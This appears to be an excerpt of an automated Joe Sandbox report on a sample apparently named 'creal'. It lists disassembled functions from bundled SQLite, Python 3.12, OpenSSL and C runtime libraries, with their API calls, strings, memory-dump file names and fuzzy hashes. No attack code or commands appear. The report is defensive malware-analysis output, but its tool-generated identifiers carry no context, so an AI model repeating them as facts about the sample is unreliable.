Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memset$CreateFile
String ID: delayed %dms for lock/sharing conflict at line %d$exclusive$psow$winOpen
API String ID: 333288564-3829269058
Opcode ID: 47d229aef933e0d59dc5dcf9258cd0e2023164957fffc33a8fb9dfcd5c4bd0d1
Instruction ID: d0ad79830e8de96b09236ce9bc81cd401084ae81ed678347013d45398ffd5899
Opcode Fuzzy Hash: 47d229aef933e0d59dc5dcf9258cd0e2023164957fffc33a8fb9dfcd5c4bd0d1
Instruction Fuzzy Hash: A202DD21F2DB5296FAA48FA5E85177963A0FF89BD4F040234DE4E426A1DF3DE4848743

Function 00007FF8E68E7E80 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 139COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E68E8019

Strings

misuse, xrefs: 00007FF8E68E7ED5
API called with finalized prepared statement, xrefs: 00007FF8E68E7EAA
%s at line %d of [%.10s], xrefs: 00007FF8E68E7EE1
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68E7EC8
API called with NULL prepared statement, xrefs: 00007FF8E68E7E94

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$API called with NULL prepared statement$API called with finalized prepared statement$misuse
API String ID: 3510742995-3712603878
Opcode ID: bd5a30be7f2f2b4ec66f19732ede60e8cd1cfc78c1b4ac1a2368ec9ef04a4963
Instruction ID: b43a8d51e6847e19b516d707b09f56d7ae4094b28e6467340f6f65753d0f3092
Opcode Fuzzy Hash: bd5a30be7f2f2b4ec66f19732ede60e8cd1cfc78c1b4ac1a2368ec9ef04a4963
Instruction Fuzzy Hash: E451BF76F2EAA295FB149BE598503B86B91AF41BE0F084131DE9D477D9DE3CE841C302

Function 00007FF8E7004290 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PyEval_SaveThread.PYTHON312 ref: 00007FF8E70042CE
sqlite3_close_v2.SQLITE3 ref: 00007FF8E70042DA
PyEval_RestoreThread.PYTHON312 ref: 00007FF8E70042E3
sqlite3_get_autocommit.SQLITE3 ref: 00007FF8E7004339

Part of subcall function 00007FF8E70025B0: _Py_Dealloc.PYTHON312(?,?,?,00007FF8E7001235), ref: 00007FF8E70025CC

Part of subcall function 00007FF8E70025B0: _Py_Dealloc.PYTHON312(?,?,?,00007FF8E7001235), ref: 00007FF8E70025F5

Strings

ROLLBACK, xrefs: 00007FF8E7004343

Memory Dump Source

Source File: 00000002.00000002.1578819031.00007FF8E7001000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF8E7000000, based on PE: true

Associated: 00000002.00000002.1578774051.00007FF8E7000000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578860238.00007FF8E700F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578915505.00007FF8E7019000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578958590.00007FF8E701B000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7000000_creal.jbxd

Similarity

API ID: DeallocEval_Thread$RestoreSavesqlite3_close_v2sqlite3_get_autocommit
String ID: ROLLBACK
API String ID: 3097044782-1608819330
Opcode ID: ad3cbcdeca86c3c26188f54a70d136120957feaaf2e1a7049174d51e02bd1bc6
Instruction ID: def083fa04848628c737175d95e2acf7f886cc5504fdbf6c7400446b2e420634
Opcode Fuzzy Hash: ad3cbcdeca86c3c26188f54a70d136120957feaaf2e1a7049174d51e02bd1bc6
Instruction Fuzzy Hash: 3B213B21A18B4281EE149FA1E45033D22A4FF47BF4F141931EE6ED6799DF3CE8529706

Function 00007FF8E7008F9E Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 61COMMON

Download Yara Rule

APIs

_PyArg_BadArgument.PYTHON312 ref: 00007FF8E7009036
_PyArg_CheckPositional.PYTHON312 ref: 00007FF8E700DAD2

Strings

execute, xrefs: 00007FF8E700902F, 00007FF8E700DAC4
str, xrefs: 00007FF8E7009028
argument 1, xrefs: 00007FF8E7009021

Memory Dump Source

Source File: 00000002.00000002.1578819031.00007FF8E7001000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF8E7000000, based on PE: true

Associated: 00000002.00000002.1578774051.00007FF8E7000000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578860238.00007FF8E700F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578915505.00007FF8E7019000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578958590.00007FF8E701B000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7000000_creal.jbxd

Similarity

API ID: Arg_$ArgumentCheckPositional
String ID: argument 1$execute$str
API String ID: 3876575403-3433703408
Opcode ID: 9ffb5c577ef406221f0b3c5c368f3fea7fc6aa555937727b7af1d9de80cfe3ec
Instruction ID: bc03057d9b0889beccc7737e9d365b0fd97cb21ba89724f087a0560a4c8556d7
Opcode Fuzzy Hash: 9ffb5c577ef406221f0b3c5c368f3fea7fc6aa555937727b7af1d9de80cfe3ec
Instruction Fuzzy Hash: AC118631A0C686C5EE10DB92E4403AE6360FB46FD0F588432EEAD93B55DF6CE655C741

Function 00007FF8E68C9E80 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 174COMMON

Download Yara Rule

Strings

database corruption, xrefs: 00007FF8E68C9EBB, 00007FF8E68CA011
%s at line %d of [%.10s], xrefs: 00007FF8E68C9EC2, 00007FF8E68CA018
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68C9EA2, 00007FF8E68C9FF8

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$database corruption
API String ID: 0-3418467682
Opcode ID: 70763ae1427885678d87873981513cb12e4759df12c4f2b9939fb91df184ef28
Instruction ID: 54555ea13dd0593b7df595bd0e5fa6e3dc64eadb9288ba6567590af914541007
Opcode Fuzzy Hash: 70763ae1427885678d87873981513cb12e4759df12c4f2b9939fb91df184ef28
Instruction Fuzzy Hash: C2719C62B28A62E6FB609B96E44037973A1FB94BC4F184031DA4D476A5DF7DE842C303

Function 00007FF8E71F7A00 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

ERR_set_mark.LIBCRYPTO-3 ref: 00007FF8E71F7A2C
OBJ_nid2sn.LIBCRYPTO-3 ref: 00007FF8E71F7A33
EVP_CIPHER_fetch.LIBCRYPTO-3 ref: 00007FF8E71F7A41
ERR_pop_to_mark.LIBCRYPTO-3 ref: 00007FF8E71F7A49

Memory Dump Source

Source File: 00000002.00000002.1580599471.00007FF8E71D1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00007FF8E71D0000, based on PE: true

Associated: 00000002.00000002.1580559886.00007FF8E71D0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580599471.00007FF8E7253000.00000020.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580838537.00007FF8E7255000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581118655.00007FF8E727D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7282000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7288000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7290000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e71d0000_creal.jbxd

Similarity

API ID: J_nid2snR_fetchR_pop_to_markR_set_mark
String ID:
API String ID: 2772354928-0
Opcode ID: 3376d8211a2ed54d93c11fa2622649ee14bde3fed94f08393f8e637d559c63eb
Instruction ID: f8d5f7f6965564b724afedf3a033bbf90d857c02298247aaf196a66523dd69d1
Opcode Fuzzy Hash: 3376d8211a2ed54d93c11fa2622649ee14bde3fed94f08393f8e637d559c63eb
Instruction Fuzzy Hash: 55F08C00B0938102EA44B7E2F8413BD9551AF88BC0F095035FF6E47B8BEE2CE9410602

Function 00007FF8E71D1E01 Relevance: 4.6, APIs: 3, Instructions: 87COMMON

Download Yara Rule

APIs

ERR_clear_error.LIBCRYPTO-3 ref: 00007FF8E722ED9A
SetLastError.KERNEL32 ref: 00007FF8E722EDA1
BUF_MEM_free.LIBCRYPTO-3 ref: 00007FF8E722F0C9

Memory Dump Source

Source File: 00000002.00000002.1580599471.00007FF8E71D1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00007FF8E71D0000, based on PE: true

Associated: 00000002.00000002.1580559886.00007FF8E71D0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580599471.00007FF8E7253000.00000020.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580838537.00007FF8E7255000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581118655.00007FF8E727D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7282000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7288000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7290000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e71d0000_creal.jbxd

Similarity

API ID: ErrorLastM_freeR_clear_error
String ID:
API String ID: 1231514297-0
Opcode ID: 7996a06857c3f91e8426b2d630f3f6f22c05bb801b80ee25fc1232160325fa23
Instruction ID: f8daed0640c6fb4cea38ee89de55bbed5b216d30700ec67d1d279437c78cddef
Opcode Fuzzy Hash: 7996a06857c3f91e8426b2d630f3f6f22c05bb801b80ee25fc1232160325fa23
Instruction Fuzzy Hash: 5D318E32E0828286F7649EA6D44437D7395EB45BC4F588431DE3E47689DF3DE882D742

Function 00007FF8E715252E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FF8E715253D

Strings

<module>, xrefs: 00007FF8E7153822

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc
String ID: <module>
API String ID: 3617616757-217463007
Opcode ID: 3d0b5fe31bdceefd0d16471987016516823057e139ed2a49c540c935358a7bd8
Instruction ID: f3b0e652de1fc70c29de0226f67ddcea6736e5f31e0f221cc37715601249bd55
Opcode Fuzzy Hash: 3d0b5fe31bdceefd0d16471987016516823057e139ed2a49c540c935358a7bd8
Instruction Fuzzy Hash: F5F03AA6E0DB8391FA1D9FC5E8112BC23616F40BE1B844035CD2D172A0DF2CB5458742

Function 00007FF8E71DF3F0 Relevance: 1.3, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF8E71DF421

Memory Dump Source

Source File: 00000002.00000002.1580599471.00007FF8E71D1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00007FF8E71D0000, based on PE: true

Associated: 00000002.00000002.1580559886.00007FF8E71D0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580599471.00007FF8E7253000.00000020.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580838537.00007FF8E7255000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581118655.00007FF8E727D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7282000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7288000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7290000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e71d0000_creal.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 549c9418ccfda40514b604c35745b668e5ba7805ab55c6a8479e28d837946d2b
Instruction ID: 254cebb4e87be2bfddd61940087b4676263000dd1e1d29d380186263f08efe45
Opcode Fuzzy Hash: 549c9418ccfda40514b604c35745b668e5ba7805ab55c6a8479e28d837946d2b
Instruction Fuzzy Hash: B7219C32608B8087E354DB62E98066EB3A5FB88BD4F144135EBA847F99CF3CE155CB01

Non-executed Functions

Function 00007FF8E69710E0 Relevance: 20.0, APIs: 2, Strings: 11, Instructions: 456COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140 ref: 00007FF8E6971562
memcpy.VCRUNTIME140 ref: 00007FF8E6971686

Strings

cache, xrefs: 00007FF8E69714F9
access, xrefs: 00007FF8E6971524
no such vfs: %s, xrefs: 00007FF8E6971735
%s mode not allowed: %s, xrefs: 00007FF8E6971638
file, xrefs: 00007FF8E6971165
mode, xrefs: 00007FF8E6971455
invalid uri authority: %.*s, xrefs: 00007FF8E6971263
cach, xrefs: 00007FF8E69715D1
no such %s mode: %s, xrefs: 00007FF8E697158E
cach, xrefs: 00007FF8E6971446
localhos, xrefs: 00007FF8E697123B

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcmpmemcpy
String ID: %s mode not allowed: %s$access$cach$cach$cache$file$invalid uri authority: %.*s$localhos$mode$no such %s mode: %s$no such vfs: %s
API String ID: 1784268899-1330295256
Opcode ID: 907b28649db16cb4e34c3c63b369c0bd186525c883081c61b9df2ed961016c95
Instruction ID: 2438c829f63bc372d9b7e99802acb184d644d626d590b0ee7e6b5a336e699405
Opcode Fuzzy Hash: 907b28649db16cb4e34c3c63b369c0bd186525c883081c61b9df2ed961016c95
Instruction Fuzzy Hash: 51020262E2C28246FB75ABA1904C3796B91AB52BF4F1C4235CE9E476C1DE3DF5478302

Function 00007FF8E6FB1960 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8E6FB197C
memset.VCRUNTIME140 ref: 00007FF8E6FB19A0
RtlCaptureContext.KERNEL32 ref: 00007FF8E6FB19A9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8E6FB19C3
RtlVirtualUnwind.KERNEL32 ref: 00007FF8E6FB1A04
memset.VCRUNTIME140 ref: 00007FF8E6FB1A37
IsDebuggerPresent.KERNEL32 ref: 00007FF8E6FB1A58
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8E6FB1A79
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8E6FB1A84

Memory Dump Source

Source File: 00000002.00000002.1577473923.00007FF8E6FB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF8E6FB0000, based on PE: true

Associated: 00000002.00000002.1577410915.00007FF8E6FB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000002.00000002.1577517217.00007FF8E6FB2000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000002.00000002.1577555444.00007FF8E6FB4000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e6fb0000_creal.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 7e91f6bfd96c29140b0d269c20ca028c10e388d05116ed94df9161a84ec9e0c7
Instruction ID: fd9a94f6f2fd7f86e641e0f67d2d74671f7a9a1763a52bf57052a703908406f0
Opcode Fuzzy Hash: 7e91f6bfd96c29140b0d269c20ca028c10e388d05116ed94df9161a84ec9e0c7
Instruction Fuzzy Hash: DD314A72618B868AEB60DFA0E8547FD7365FB84784F48443ADA4E47A98DF3CD648C710

Function 00007FF8E6F31960 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8E6F3197C
memset.VCRUNTIME140 ref: 00007FF8E6F319A0
RtlCaptureContext.KERNEL32 ref: 00007FF8E6F319A9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8E6F319C3
RtlVirtualUnwind.KERNEL32 ref: 00007FF8E6F31A04
memset.VCRUNTIME140 ref: 00007FF8E6F31A37
IsDebuggerPresent.KERNEL32 ref: 00007FF8E6F31A58
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8E6F31A79
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8E6F31A84

Memory Dump Source

Source File: 00000002.00000002.1575627628.00007FF8E6F31000.00000020.00000001.01000000.00000029.sdmp, Offset: 00007FF8E6F30000, based on PE: true

Associated: 00000002.00000002.1575586394.00007FF8E6F30000.00000002.00000001.01000000.00000029.sdmpDownload File
Associated: 00000002.00000002.1575707674.00007FF8E6F33000.00000002.00000001.01000000.00000029.sdmpDownload File
Associated: 00000002.00000002.1575751750.00007FF8E6F35000.00000002.00000001.01000000.00000029.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e6f30000_creal.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 15ab57132a56a43adcf6d314196c4535093efc661be566aed9b6740bd42d3de9
Instruction ID: 0d9d18cf7f5908522c3fc525d3b57d0d0a55c891626e5281f9a623c048900b41
Opcode Fuzzy Hash: 15ab57132a56a43adcf6d314196c4535093efc661be566aed9b6740bd42d3de9
Instruction Fuzzy Hash: 44314D72659A86C9EB60CFA0E8547ED7360FB94788F44503ADA4D47A98DF3CD648C710

Function 00007FF8E6FC1960 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8E6FC197C
memset.VCRUNTIME140 ref: 00007FF8E6FC19A0
RtlCaptureContext.KERNEL32 ref: 00007FF8E6FC19A9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8E6FC19C3
RtlVirtualUnwind.KERNEL32 ref: 00007FF8E6FC1A04
memset.VCRUNTIME140 ref: 00007FF8E6FC1A37
IsDebuggerPresent.KERNEL32 ref: 00007FF8E6FC1A58
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8E6FC1A79
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8E6FC1A84

Memory Dump Source

Source File: 00000002.00000002.1577634657.00007FF8E6FC1000.00000020.00000001.01000000.00000020.sdmp, Offset: 00007FF8E6FC0000, based on PE: true

Associated: 00000002.00000002.1577585028.00007FF8E6FC0000.00000002.00000001.01000000.00000020.sdmpDownload File
Associated: 00000002.00000002.1577691044.00007FF8E6FC3000.00000002.00000001.01000000.00000020.sdmpDownload File
Associated: 00000002.00000002.1577732223.00007FF8E6FC4000.00000004.00000001.01000000.00000020.sdmpDownload File
Associated: 00000002.00000002.1577775069.00007FF8E6FC5000.00000002.00000001.01000000.00000020.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e6fc0000_creal.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 15ab57132a56a43adcf6d314196c4535093efc661be566aed9b6740bd42d3de9
Instruction ID: 0fc374b33a702f4bbf7b39e32c6aaeb52f98611fdd47102596c212dd1ba57175
Opcode Fuzzy Hash: 15ab57132a56a43adcf6d314196c4535093efc661be566aed9b6740bd42d3de9
Instruction Fuzzy Hash: B9315A73618A859AEB60DFA0E8403E97360FB94788F44403ADA4E47B98DF3CD658C708

Function 00007FF8E6F11960 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8E6F1197C
memset.VCRUNTIME140 ref: 00007FF8E6F119A0
RtlCaptureContext.KERNEL32 ref: 00007FF8E6F119A9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8E6F119C3
RtlVirtualUnwind.KERNEL32 ref: 00007FF8E6F11A04
memset.VCRUNTIME140 ref: 00007FF8E6F11A37
IsDebuggerPresent.KERNEL32 ref: 00007FF8E6F11A58
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8E6F11A79
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8E6F11A84

Memory Dump Source

Source File: 00000002.00000002.1575166000.00007FF8E6F11000.00000020.00000001.01000000.0000002B.sdmp, Offset: 00007FF8E6F10000, based on PE: true

Associated: 00000002.00000002.1575122286.00007FF8E6F10000.00000002.00000001.01000000.0000002B.sdmpDownload File
Associated: 00000002.00000002.1575218759.00007FF8E6F16000.00000002.00000001.01000000.0000002B.sdmpDownload File
Associated: 00000002.00000002.1575264792.00007FF8E6F1B000.00000002.00000001.01000000.0000002B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e6f10000_creal.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: b1f9e4b8cb76c58f9ad273c7ab6db637e490d5b196a1216b4705d07cf26add3e
Instruction ID: 8a862b18dc4412c2a84dfcdf49d8f5d6d3312fc8f79617a856f7132afb48b9c7
Opcode Fuzzy Hash: b1f9e4b8cb76c58f9ad273c7ab6db637e490d5b196a1216b4705d07cf26add3e
Instruction Fuzzy Hash: F1314C72618A868AEB60CFA0E8547ED7360FB84784F44403ADA4E47A9ADF3CD648C710

Function 00007FF8E71542E8 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8E7154304
memset.VCRUNTIME140 ref: 00007FF8E7154328
RtlCaptureContext.KERNEL32 ref: 00007FF8E7154331
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8E715434B
RtlVirtualUnwind.KERNEL32 ref: 00007FF8E715438C
memset.VCRUNTIME140 ref: 00007FF8E71543BF
IsDebuggerPresent.KERNEL32 ref: 00007FF8E71543E0
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8E7154401
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8E715440C

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 163f402a1fb0e79306561b7d1351dc0227e06d1d27abfb67021ae25e867ac1b0
Instruction ID: bbf7b9d9718fdb63ddacc1d417c2408fd0c3a68941acd32a0fc9e070156400a0
Opcode Fuzzy Hash: 163f402a1fb0e79306561b7d1351dc0227e06d1d27abfb67021ae25e867ac1b0
Instruction Fuzzy Hash: 18313D72609BC18AEB689FA0E8503EE7361FB84784F44443ADA5E47A94EF3CD549C711

Function 00007FF8E68B77C4 Relevance: 12.4, APIs: 1, Strings: 7, Instructions: 425COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8E68B7CB6

Strings

gfff, xrefs: 00007FF8E68B7C0C
VUUU, xrefs: 00007FF8E68B7A47
0123456789ABCDEF0123456789abcdef, xrefs: 00007FF8E68B7BBB
-, xrefs: 00007FF8E68B79C7
null, xrefs: 00007FF8E68B7893
NaN, xrefs: 00007FF8E68B788C
-Inf, xrefs: 00007FF8E68B797C

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memset
String ID: -$-Inf$0123456789ABCDEF0123456789abcdef$NaN$VUUU$gfff$null
API String ID: 2221118986-3207396689
Opcode ID: af73fd97df12b0cb68ea068138ad00953fbec6a3a5724eb1a500301cc5c283e8
Instruction ID: 7075d73c82fed48ea880a9e9c45825d3ae2912e57b80ce53bf555bbe1e8315c9
Opcode Fuzzy Hash: af73fd97df12b0cb68ea068138ad00953fbec6a3a5724eb1a500301cc5c283e8
Instruction Fuzzy Hash: B2F1356AB2C3AA85E7618AA8954077E7FE1EB417C4F0C0136DACD476D1DE2CE845CB02

Function 00007FF8E68BFC70 Relevance: 12.4, APIs: 2, Strings: 6, Instructions: 411COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8E68BFCDB
memset.VCRUNTIME140 ref: 00007FF8E68BFD63

Part of subcall function 00007FF8E68BD380: memset.VCRUNTIME140 ref: 00007FF8E68BD3E2

Strings

winGetTempname4, xrefs: 00007FF8E68C023A
winGetTempname5, xrefs: 00007FF8E68BFF3C
winGetTempname2, xrefs: 00007FF8E68BFD96
winGetTempname1, xrefs: 00007FF8E68BFE64
etilqs_, xrefs: 00007FF8E68BFC92, 00007FF8E68BFF4A
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789, xrefs: 00007FF8E68BFF90

